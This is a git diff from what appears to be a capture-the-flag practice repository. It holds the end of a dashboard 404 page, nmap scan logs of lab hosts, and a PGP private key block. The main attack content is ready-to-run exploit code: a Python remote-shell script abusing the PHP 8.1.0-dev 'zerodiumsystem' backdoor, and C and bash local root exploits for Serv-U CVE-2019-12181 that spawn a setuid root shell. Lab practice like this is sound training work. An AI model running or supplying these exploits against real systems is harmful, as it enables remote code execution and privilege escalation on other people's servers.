<a class="collapse-item" href="buttons.html">Buttons</a>
|
||||
<a class="collapse-item" href="cards.html">Cards</a>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<!-- Nav Item - Utilities Collapse Menu -->
|
||||
<li class="nav-item">
|
||||
<a class="nav-link collapsed" href="#" data-toggle="collapse" data-target="#collapseUtilities"
|
||||
aria-expanded="true" aria-controls="collapseUtilities">
|
||||
<i class="fas fa-fw fa-wrench"></i>
|
||||
<span>Utilities</span>
|
||||
</a>
|
||||
<div id="collapseUtilities" class="collapse" aria-labelledby="headingUtilities"
|
||||
data-parent="#accordionSidebar">
|
||||
<div class="bg-white py-2 collapse-inner rounded">
|
||||
<h6 class="collapse-header">Custom Utilities:</h6>
|
||||
<a class="collapse-item" href="utilities-color.html">Colors</a>
|
||||
<a class="collapse-item" href="utilities-border.html">Borders</a>
|
||||
<a class="collapse-item" href="utilities-animation.html">Animations</a>
|
||||
<a class="collapse-item" href="utilities-other.html">Other</a>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<!-- Divider -->
|
||||
<hr class="sidebar-divider">
|
||||
|
||||
<!-- Heading -->
|
||||
<div class="sidebar-heading">
|
||||
Addons
|
||||
</div>
|
||||
|
||||
<!-- Nav Item - Pages Collapse Menu -->
|
||||
<li class="nav-item active">
|
||||
<a class="nav-link" href="#" data-toggle="collapse" data-target="#collapsePages" aria-expanded="true"
|
||||
aria-controls="collapsePages">
|
||||
<i class="fas fa-fw fa-folder"></i>
|
||||
<span>Pages</span>
|
||||
</a>
|
||||
<div id="collapsePages" class="collapse show" aria-labelledby="headingPages"
|
||||
data-parent="#accordionSidebar">
|
||||
<div class="bg-white py-2 collapse-inner rounded">
|
||||
<h6 class="collapse-header">Login Screens:</h6>
|
||||
<a class="collapse-item" href="login.html">Login</a>
|
||||
<a class="collapse-item" href="register.html">Register</a>
|
||||
<a class="collapse-item" href="forgot-password.html">Forgot Password</a>
|
||||
<div class="collapse-divider"></div>
|
||||
<h6 class="collapse-header">Other Pages:</h6>
|
||||
<a class="collapse-item active" href="404.html">404 Page</a>
|
||||
<a class="collapse-item" href="blank.html">Blank Page</a>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<!-- Nav Item - Charts -->
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="charts.html">
|
||||
<i class="fas fa-fw fa-chart-area"></i>
|
||||
<span>Charts</span></a>
|
||||
</li>
|
||||
|
||||
<!-- Nav Item - Tables -->
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="tables.html">
|
||||
<i class="fas fa-fw fa-table"></i>
|
||||
<span>Tables</span></a>
|
||||
</li>
|
||||
|
||||
<!-- Divider -->
|
||||
<hr class="sidebar-divider d-none d-md-block">
|
||||
|
||||
<!-- Sidebar Toggler (Sidebar) -->
|
||||
<div class="text-center d-none d-md-inline">
|
||||
<button class="rounded-circle border-0" id="sidebarToggle"></button>
|
||||
</div>
|
||||
|
||||
</ul>
|
||||
<!-- End of Sidebar -->
|
||||
|
||||
<!-- Content Wrapper -->
|
||||
<div id="content-wrapper" class="d-flex flex-column">
|
||||
|
||||
<!-- Main Content -->
|
||||
<div id="content">
|
||||
|
||||
<!-- Topbar -->
|
||||
<nav class="navbar navbar-expand navbar-light bg-white topbar mb-4 static-top shadow">
|
||||
|
||||
<!-- Sidebar Toggle (Topbar) -->
|
||||
<button id="sidebarToggleTop" class="btn btn-link d-md-none rounded-circle mr-3">
|
||||
<i class="fa fa-bars"></i>
|
||||
</button>
|
||||
|
||||
<!-- Topbar Search -->
|
||||
<form
|
||||
class="d-none d-sm-inline-block form-inline mr-auto ml-md-3 my-2 my-md-0 mw-100 navbar-search">
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control bg-light border-0 small" placeholder="Search for..."
|
||||
aria-label="Search" aria-describedby="basic-addon2">
|
||||
<div class="input-group-append">
|
||||
<button class="btn btn-primary" type="button">
|
||||
<i class="fas fa-search fa-sm"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<!-- Topbar Navbar -->
|
||||
<ul class="navbar-nav ml-auto">
|
||||
|
||||
<!-- Nav Item - Search Dropdown (Visible Only XS) -->
|
||||
<li class="nav-item dropdown no-arrow d-sm-none">
|
||||
<a class="nav-link dropdown-toggle" href="#" id="searchDropdown" role="button"
|
||||
data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<i class="fas fa-search fa-fw"></i>
|
||||
</a>
|
||||
<!-- Dropdown - Messages -->
|
||||
<div class="dropdown-menu dropdown-menu-right p-3 shadow animated--grow-in"
|
||||
aria-labelledby="searchDropdown">
|
||||
<form class="form-inline mr-auto w-100 navbar-search">
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control bg-light border-0 small"
|
||||
placeholder="Search for..." aria-label="Search"
|
||||
aria-describedby="basic-addon2">
|
||||
<div class="input-group-append">
|
||||
<button class="btn btn-primary" type="button">
|
||||
<i class="fas fa-search fa-sm"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<!-- Nav Item - Alerts -->
|
||||
<li class="nav-item dropdown no-arrow mx-1">
|
||||
<a class="nav-link dropdown-toggle" href="#" id="alertsDropdown" role="button"
|
||||
data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<i class="fas fa-bell fa-fw"></i>
|
||||
<!-- Counter - Alerts -->
|
||||
<span class="badge badge-danger badge-counter">3+</span>
|
||||
</a>
|
||||
<!-- Dropdown - Alerts -->
|
||||
<div class="dropdown-list dropdown-menu dropdown-menu-right shadow animated--grow-in"
|
||||
aria-labelledby="alertsDropdown">
|
||||
<h6 class="dropdown-header">
|
||||
Alerts Center
|
||||
</h6>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="mr-3">
|
||||
<div class="icon-circle bg-primary">
|
||||
<i class="fas fa-file-alt text-white"></i>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="small text-gray-500">December 12, 2019</div>
|
||||
<span class="font-weight-bold">A new monthly report is ready to download!</span>
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="mr-3">
|
||||
<div class="icon-circle bg-success">
|
||||
<i class="fas fa-donate text-white"></i>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="small text-gray-500">December 7, 2019</div>
|
||||
$290.29 has been deposited into your account!
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="mr-3">
|
||||
<div class="icon-circle bg-warning">
|
||||
<i class="fas fa-exclamation-triangle text-white"></i>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="small text-gray-500">December 2, 2019</div>
|
||||
Spending Alert: We've noticed unusually high spending for your account.
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item text-center small text-gray-500" href="#">Show All Alerts</a>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<!-- Nav Item - Messages -->
|
||||
<li class="nav-item dropdown no-arrow mx-1">
|
||||
<a class="nav-link dropdown-toggle" href="#" id="messagesDropdown" role="button"
|
||||
data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<i class="fas fa-envelope fa-fw"></i>
|
||||
<!-- Counter - Messages -->
|
||||
<span class="badge badge-danger badge-counter">7</span>
|
||||
</a>
|
||||
<!-- Dropdown - Messages -->
|
||||
<div class="dropdown-list dropdown-menu dropdown-menu-right shadow animated--grow-in"
|
||||
aria-labelledby="messagesDropdown">
|
||||
<h6 class="dropdown-header">
|
||||
Message Center
|
||||
</h6>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="dropdown-list-image mr-3">
|
||||
<img class="rounded-circle" src="img/undraw_profile_1.svg"
|
||||
alt="...">
|
||||
<div class="status-indicator bg-success"></div>
|
||||
</div>
|
||||
<div class="font-weight-bold">
|
||||
<div class="text-truncate">Hi there! I am wondering if you can help me with a
|
||||
problem I've been having.</div>
|
||||
<div class="small text-gray-500">Emily Fowler · 58m</div>
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="dropdown-list-image mr-3">
|
||||
<img class="rounded-circle" src="img/undraw_profile_2.svg"
|
||||
alt="...">
|
||||
<div class="status-indicator"></div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-truncate">I have the photos that you ordered last month, how
|
||||
would you like them sent to you?</div>
|
||||
<div class="small text-gray-500">Jae Chun · 1d</div>
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="dropdown-list-image mr-3">
|
||||
<img class="rounded-circle" src="img/undraw_profile_3.svg"
|
||||
alt="...">
|
||||
<div class="status-indicator bg-warning"></div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-truncate">Last month's report looks great, I am very happy with
|
||||
the progress so far, keep up the good work!</div>
|
||||
<div class="small text-gray-500">Morgan Alvarez · 2d</div>
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item d-flex align-items-center" href="#">
|
||||
<div class="dropdown-list-image mr-3">
|
||||
<img class="rounded-circle" src="https://source.unsplash.com/Mv9hjnEUHR4/60x60"
|
||||
alt="...">
|
||||
<div class="status-indicator bg-success"></div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-truncate">Am I a good boy? The reason I ask is because someone
|
||||
told me that people say this to all dogs, even if they aren't good...</div>
|
||||
<div class="small text-gray-500">Chicken the Dog · 2w</div>
|
||||
</div>
|
||||
</a>
|
||||
<a class="dropdown-item text-center small text-gray-500" href="#">Read More Messages</a>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
<div class="topbar-divider d-none d-sm-block"></div>
|
||||
|
||||
<!-- Nav Item - User Information -->
|
||||
<li class="nav-item dropdown no-arrow">
|
||||
<a class="nav-link dropdown-toggle" href="#" id="userDropdown" role="button"
|
||||
data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<span class="mr-2 d-none d-lg-inline text-gray-600 small">Douglas McGee</span>
|
||||
<img class="img-profile rounded-circle"
|
||||
src="img/undraw_profile.svg">
|
||||
</a>
|
||||
<!-- Dropdown - User Information -->
|
||||
<div class="dropdown-menu dropdown-menu-right shadow animated--grow-in"
|
||||
aria-labelledby="userDropdown">
|
||||
<a class="dropdown-item" href="#">
|
||||
<i class="fas fa-user fa-sm fa-fw mr-2 text-gray-400"></i>
|
||||
Profile
|
||||
</a>
|
||||
<a class="dropdown-item" href="#">
|
||||
<i class="fas fa-cogs fa-sm fa-fw mr-2 text-gray-400"></i>
|
||||
Settings
|
||||
</a>
|
||||
<a class="dropdown-item" href="#">
|
||||
<i class="fas fa-list fa-sm fa-fw mr-2 text-gray-400"></i>
|
||||
Activity Log
|
||||
</a>
|
||||
<div class="dropdown-divider"></div>
|
||||
<a class="dropdown-item" href="#" data-toggle="modal" data-target="#logoutModal">
|
||||
<i class="fas fa-sign-out-alt fa-sm fa-fw mr-2 text-gray-400"></i>
|
||||
Logout
|
||||
</a>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
</ul>
|
||||
|
||||
</nav>
|
||||
<!-- End of Topbar -->
|
||||
|
||||
<!-- Begin Page Content -->
|
||||
<div class="container-fluid">
|
||||
|
||||
<!-- 404 Error Text -->
|
||||
<div class="text-center">
|
||||
<div class="error mx-auto" data-text="404">404</div>
|
||||
<p class="lead text-gray-800 mb-5">Page Not Found</p>
|
||||
<p class="text-gray-500 mb-0">It looks like you found a glitch in the matrix...</p>
|
||||
<a href="index.html">← Back to Dashboard</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<!-- /.container-fluid -->
|
||||
|
||||
</div>
|
||||
<!-- End of Main Content -->
|
||||
|
||||
<!-- Footer -->
|
||||
<footer class="sticky-footer bg-white">
|
||||
<div class="container my-auto">
|
||||
<div class="copyright text-center my-auto">
|
||||
<span>Copyright © Your Website 2020</span>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- End of Footer -->
|
||||
|
||||
</div>
|
||||
<!-- End of Content Wrapper -->
|
||||
|
||||
</div>
|
||||
<!-- End of Page Wrapper -->
|
||||
|
||||
<!-- Scroll to Top Button-->
|
||||
<a class="scroll-to-top rounded" href="#page-top">
|
||||
<i class="fas fa-angle-up"></i>
|
||||
</a>
|
||||
|
||||
<!-- Logout Modal-->
|
||||
<div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
|
||||
aria-hidden="true">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5>
|
||||
<button class="close" type="button" data-dismiss="modal" aria-label="Close">
|
||||
<span aria-hidden="true">×</span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="modal-body">Select "Logout" below if you are ready to end your current session.</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button>
|
||||
<a class="btn btn-primary" href="login.html">Logout</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Bootstrap core JavaScript-->
|
||||
<script src="vendor/jquery/jquery.min.js"></script>
|
||||
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
|
||||
|
||||
<!-- Core plugin JavaScript-->
|
||||
<script src="vendor/jquery-easing/jquery.easing.min.js"></script>
|
||||
|
||||
<!-- Custom scripts for all pages-->
|
||||
<script src="js/sb-admin-2.min.js"></script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
53
CTF/AgentT/exploit.py
Executable file
53
CTF/AgentT/exploit.py
Executable file
@@ -0,0 +1,53 @@
|
||||
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
|
||||
# Date: 23 may 2021
|
||||
# Exploit Author: flast101
|
||||
# Vendor Homepage: https://www.php.net/
|
||||
# Software Link:
|
||||
# - https://hub.docker.com/r/phpdaily/php
|
||||
# - https://github.com/phpdaily/php
|
||||
# Version: 8.1.0-dev
|
||||
# Tested on: Ubuntu 20.04
|
||||
# References:
|
||||
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
|
||||
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
|
||||
|
||||
"""
|
||||
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
|
||||
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
|
||||
Contact: flast101.sec@gmail.com
|
||||
|
||||
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
|
||||
The following exploit uses the backdoor to provide a pseudo shell ont the host.
|
||||
"""
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import re
|
||||
import requests
|
||||
|
||||
host = input("Enter the full host url:\n")
|
||||
request = requests.Session()
|
||||
response = request.get(host)
|
||||
|
||||
if str(response) == '<Response [200]>':
|
||||
print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
|
||||
try:
|
||||
while 1:
|
||||
cmd = input("$ ")
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
|
||||
"User-Agentt": "zerodiumsystem('" + cmd + "');"
|
||||
}
|
||||
response = request.get(host, headers = headers, allow_redirects = False)
|
||||
current_page = response.text
|
||||
stdout = current_page.split('<!DOCTYPE html>',1)
|
||||
text = print(stdout[0])
|
||||
except KeyboardInterrupt:
|
||||
print("Exiting...")
|
||||
exit
|
||||
|
||||
else:
|
||||
print("\r")
|
||||
print(response)
|
||||
print("Host is not available, aborting...")
|
||||
exit
|
||||
1
CTF/AgentT/file_fuzz1.txt
Normal file
1
CTF/AgentT/file_fuzz1.txt
Normal file
File diff suppressed because one or more lines are too long
0
CTF/AgentT/gobuster_scan1.txt
Normal file
0
CTF/AgentT/gobuster_scan1.txt
Normal file
20
CTF/AgentT/nmap_scan1.txt
Normal file
20
CTF/AgentT/nmap_scan1.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
# Nmap 7.95 scan initiated Fri Oct 17 18:55:52 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN nmap_scan1.txt 10.10.8.207
|
||||
Nmap scan report for 10.10.8.207
|
||||
Host is up (0.079s latency).
|
||||
Not shown: 999 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
|
||||
|_http-title: Admin Dashboard
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X|5.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
|
||||
OS details: Linux 4.15 - 5.19
|
||||
Network Distance: 2 hops
|
||||
|
||||
TRACEROUTE (using port 199/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 70.82 ms 10.14.0.1
|
||||
2 63.59 ms 10.10.8.207
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Fri Oct 17 18:56:08 2025 -- 1 IP address (1 host up) scanned in 15.23 seconds
|
||||
BIN
CTF/Anonforce/backup.pgp
Normal file
BIN
CTF/Anonforce/backup.pgp
Normal file
Binary file not shown.
24
CTF/Anonforce/exploit.c
Normal file
24
CTF/Anonforce/exploit.c
Normal file
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
|
||||
CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation
|
||||
|
||||
vulnerability found by:
|
||||
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev
|
||||
|
||||
to compile and run:
|
||||
gcc servu-pe-cve-2019-12181.c -o pe && ./pe
|
||||
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
|
||||
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
|
||||
// if execv is successful, we won't reach here
|
||||
printf("ret val: %d errno: %d\n", ret_val, errno);
|
||||
return errno;
|
||||
}
|
||||
37
CTF/Anonforce/exploit.sh
Executable file
37
CTF/Anonforce/exploit.sh
Executable file
@@ -0,0 +1,37 @@
|
||||
#!/bin/bash
|
||||
# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181)
|
||||
# Bash variant of Guy Levin's Serv-U FTP Server exploit:
|
||||
# - https://github.com/guywhataguy/CVE-2019-12181
|
||||
# ---
|
||||
# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot
|
||||
# [*] Launching Serv-U ...
|
||||
# sh: 1: : Permission denied
|
||||
# [+] Success:
|
||||
# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# sh-4.4# id
|
||||
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner)
|
||||
# ---
|
||||
# <bcoles@gmail.com>
|
||||
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181
|
||||
|
||||
if ! test -u "/usr/local/Serv-U/Serv-U"; then
|
||||
echo '[-] /usr/local/Serv-U/Serv-U is not setuid root'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Launching Serv-U ..."
|
||||
|
||||
/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation'
|
||||
|
||||
if ! test -u "/tmp/sh"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "/tmp/sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo '[+] Success:'
|
||||
/bin/ls -la /tmp/sh
|
||||
|
||||
echo "[*] Launching root shell: /tmp/sh"
|
||||
/tmp/sh -p
|
||||
60
CTF/Anonforce/nmap_scan1.txt
Normal file
60
CTF/Anonforce/nmap_scan1.txt
Normal file
@@ -0,0 +1,60 @@
|
||||
# Nmap 7.95 scan initiated Fri Oct 17 19:15:33 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN nmap_scan1.txt 10.10.210.93
|
||||
Nmap scan report for 10.10.210.93
|
||||
Host is up (0.085s latency).
|
||||
Not shown: 998 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp vsftpd 3.0.3
|
||||
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
||||
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
|
||||
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
|
||||
| drwxr-xr-x 17 0 0 3700 Oct 17 10:13 dev
|
||||
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
|
||||
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
|
||||
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
|
||||
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
|
||||
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
|
||||
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
|
||||
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found
|
||||
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
|
||||
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
|
||||
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]
|
||||
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
|
||||
| dr-xr-xr-x 95 0 0 0 Oct 17 10:13 proc
|
||||
| drwx------ 3 0 0 4096 Aug 11 2019 root
|
||||
| drwxr-xr-x 18 0 0 540 Oct 17 10:13 run
|
||||
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
|
||||
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
|
||||
| dr-xr-xr-x 13 0 0 0 Oct 17 10:13 sys
|
||||
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
|
||||
| ftp-syst:
|
||||
| STAT:
|
||||
| FTP server status:
|
||||
| Connected to ::ffff:10.14.99.89
|
||||
| Logged in as ftp
|
||||
| TYPE: ASCII
|
||||
| No session bandwidth limit
|
||||
| Session timeout in seconds is 300
|
||||
| Control connection is plain text
|
||||
| Data connections will be plain text
|
||||
| At session startup, client count was 4
|
||||
| vsFTPd 3.0.3 - secure, fast, stable
|
||||
|_End of status
|
||||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
|
||||
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|
||||
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.4
|
||||
OS details: Linux 4.4
|
||||
Network Distance: 2 hops
|
||||
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 80/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 127.91 ms 10.14.0.1
|
||||
2 127.72 ms 10.10.210.93
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Fri Oct 17 19:15:41 2025 -- 1 IP address (1 host up) scanned in 8.20 seconds
|
||||
62
CTF/Anonforce/private.asc
Normal file
62
CTF/Anonforce/private.asc
Normal file
@@ -0,0 +1,62 @@
|
||||
-----BEGIN PGP PRIVATE KEY BLOCK-----
|
||||
Version: BCPG v1.56
|
||||
|
||||
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
|
||||
